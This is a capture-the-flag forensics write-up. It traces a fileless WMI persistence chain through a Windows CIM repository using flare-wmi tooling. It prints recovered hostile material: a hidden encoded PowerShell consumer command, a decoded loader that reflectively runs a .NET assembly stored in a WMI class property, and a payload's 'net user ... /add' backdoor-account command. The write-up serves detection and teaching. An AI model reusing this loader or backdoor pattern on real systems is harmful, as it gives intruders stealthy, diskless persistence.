M4cCrypt0
back to overview

Fileless WMI Persistence: Hunting a Hijacked CIM Class (TryHackMe: After Hours

Summary

Room: Hacker Holidays 2026 — After Hours (Forensics, Medium, 90 pts). The brief: a set of raw artifacts pulled off a resort back-office machine, no obvious persistence in the usual autoruns spots. Task is a three-step chain — find hidden config data, find the malicious class, decode the payload.

Turned out to be a fileless persistence chain: a legit-looking WMI class carrying a Deflate-compressed .NET loader as a "static property", fired by an __EventFilter / CommandLineEventConsumer pair with an innocuous name.

[ TIP ]

Pairing note

Worked this one with Claude driving the tooling side (flare-wmi setup, the Python 2→3 port, scripting the property dumps) while I drove the investigative direction and interpreted each result. Steps below are written so I can reproduce every one of them by hand next time, without the assist.

Artifact ID

Five files, no obvious extensions:

text
INDEX.BTR        ~5.0 MB
MAPPING1.MAP      ~78 KB
MAPPING2.MAP      ~78 KB
MAPPING3.MAP      ~78 KB
OBJECTS.DATA     ~24.2 MB

First move on an unknown artifact set: check magic bytes before anything else.

magic bytes
$ od -A x -t x1z -v INDEX.BTR | head -1
000000 cc ac 00 00 4d 00 00 00 00 00 00 00 00 00 00 00  >....M...........<

$ od -A x -t x1z -v MAPPING1.MAP | head -1
000000 cd ab 00 00 57 54 00 00 7c 01 00 00 7b 01 00 00  >....WT..|...{...<

0xACCC and 0xABCD as little-endian 32-bit values are the documented signatures for the Windows CIM (WMI) repository — this exact five-file set (INDEX.BTR, OBJECTS.DATA, MAPPING[1-3].MAP) normally lives at C:\Windows\System32\wbem\Repository\.

This lines up with the brief: WMI persistence via __EventFilter / __EventConsumer chains (MITRE ATT&CK T1546.003) is exactly the blind spot that Autoruns-style tooling and the classic Run-key / Scheduled Task / Startup triad don't cover.

Recon: first persistence pass

Mandiant's flare-wmi toolkit is the reference here. Started with davidpany/WMI_Forensics' PyWMIPersistenceFinder.py — a single-file, regex-only scanner over OBJECTS.DATA that needs no full repository parse.

[WARN]

Python 2 legacy tooling

Script is 2017-era Python 2 (.iteritems(), binary data read as str). Ported to Python 3 by opening the file with encoding="latin-1" (round-trips every byte value 1:1 to a str char) instead of "rb", and swapping .iteritems().items(). A lot of real DFIR tooling is this vintage — porting it on the fly is a normal part of the job, not a blocker.

quick regex-based binding scan
$ python3 PyWMIPersistenceFinder_py3.py <repo-dir>/OBJECTS.DATA

    Bindings:

        SCM Event Log Consumer-SCM Event Log Filter
                (Common binding based on consumer and filter names,
                 possibly legitimate)
            Consumer: NTEventLogEventConsumer ~ SCM Event Log Consumer ~ sid ~
                       Service Control Manager
            Filter: SCM Event Log Filter / select * from MSFT_SCMEventLogEvent

One binding, and it's a stock Windows one. Negative result, but a useful one — confirms it's not a plain, easily-regex-matched binding, and rules out the "obvious" classic-persistence read. The scanner reads the file in 4-line binary chunks; if the target strings straddle a chunk boundary the way this challenge apparently arranged, it just won't see them. Good reminder not to trust a single tool's negative result.

Investigation: full repository parse

Time for the real parser. python-cim on PyPI is a stale fork (missing CIM.from_path / guess_cim_type) — use the actual mandiant/flare-wmi repo instead:

get the matching library
$ pip uninstall -y python-cim
$ git clone --depth 1 https://github.com/mandiant/flare-wmi.git
$ cd flare-wmi/python-cim && pip install -e .

timeline.py walks every ClassDefinition/ClassInstance timestamp in the live repository — cheap, and a great first anomaly-hunting pass (this is straight out of flare-wmi's own wmikatz tutorial):

timeline scan
$ python3 timeline.py <repo-dir> > timeline.txt
$ tail -5 timeline.txt
text
2026-07-13T02:55:35Z  ClassDefinition.timestamp   \root\CIMV2:Win32_HardwareTelemetry
2026-07-13T02:55:35Z  ClassInstance.timestamp1    \root\subscription:__EventFilter.Name=EngineTelemetryFilter
2026-07-13T02:55:35Z  ClassInstance.timestamp1    \root\subscription:CommandLineEventConsumer.Name=EngineTelemetryConsumer

Every other entry in the 17k-line timeline clusters around normal install/update timestamps. These three sit alone at 02:55 local — "after hours", as advertised — and the names are the tell: EngineTelemetry* reads as legit monitoring, and Win32_HardwareTelemetry mimics the native Win32_* namespace convention closely enough to blend into a class list.

Pulled the filter/consumer pair directly (flare-wmi's show_filtertoconsumerbindings.py sample only walks linked __FilterToConsumerBinding instances, and this pair wasn't wired through one — so a small custom script against the Namespace/class_() API was needed):

dump_consumer.py
from cim import CIM
from cim.objects import Namespace

c = CIM("win7", "<repo-dir>")
with Namespace(c, "root\\subscription") as ns:
    for inst in ns.class_("commandlineeventconsumer").instances:
        for pname in inst.properties:
            try:
                print(pname, "=", inst.properties[pname].value)
            except RuntimeError:
                pass
text
CommandLineTemplate = cmd /C powershell.exe -Sta -Nop -Window Hidden -enc <base64>

Decoded the -enc blob (standard PowerShell UTF-16LE + base64):

decoded loader logic
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value
$d = New-Object IO.Compression.DeflateStream(
        [IO.MemoryStream][Convert]::FromBase64String($file),
        [IO.Compression.CompressionMode]::Decompress)
# ... reads $d fully into a MemoryStream $o ...
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))

That's the whole trick: pull ConfigData off the hijacked class, Deflate- decompress it, reflectively load it as a .NET assembly in memory, run its entry point. Nothing ever touches disk, which is exactly why Autoruns-class tooling never had a chance.

Extracting the payload

ConfigData is a static property with a baked-in default value, so it lives in the class definition itself rather than an instance — dump_class_layout.py (flare-wmi sample) pulls it straight out:

pull the class definition
$ python3 dump_class_layout.py win7 <repo-dir> "root\cimv2" "Win32_HardwareTelemetry"
text
properties:
  name: ConfigData
    type: CIM_TYPE_STRING
    has default value: True
      default value: <base64 blob, ~2.2 KB>

Decoded it exactly the way the loader script does:

decode_payload.py
import base64, zlib

raw = base64.b64decode(config_data_b64)
# .NET DeflateStream = raw deflate, no zlib header -> wbits=-15
d = zlib.decompressobj(-15)
out = d.decompress(raw) + d.flush()

print(out[:4])  # b'MZ\x90\x00'  -> valid PE

Confirmed PE/.NET assembly (4127 bytes). Did not execute it — this is a downloaded CTF artifact, but the habit that matters is: unknown payloads get statically analyzed, never detonated, full stop. strings on both encodings was enough:

static string analysis
$ strings -n 5 payload.bin        # ascii: module/type/method names
$ strings -e l -n 4 payload.bin   # utf-16le: .NET #US user-string heap

The UTF-16LE pass surfaced the actual behaviour: an Environment.MachineName anti-sandbox check against a hardcoded hostname, and — once matched — a cmd.exe /c net user patch <base64> /add call. The base64 in that command is the flag, used as the throwaway backdoor account's password.

flag
$ echo '<base64-encoded-flag>' | base64 -d
<FLAG>

Itinerary, in retrospect: (1) hidden config data = the ConfigData static property, (2) malicious class = Win32_HardwareTelemetry / its embedded .NET loader, (3) decode the payload = the net user argument, base64-decoded.

Why this works

Lessons / detection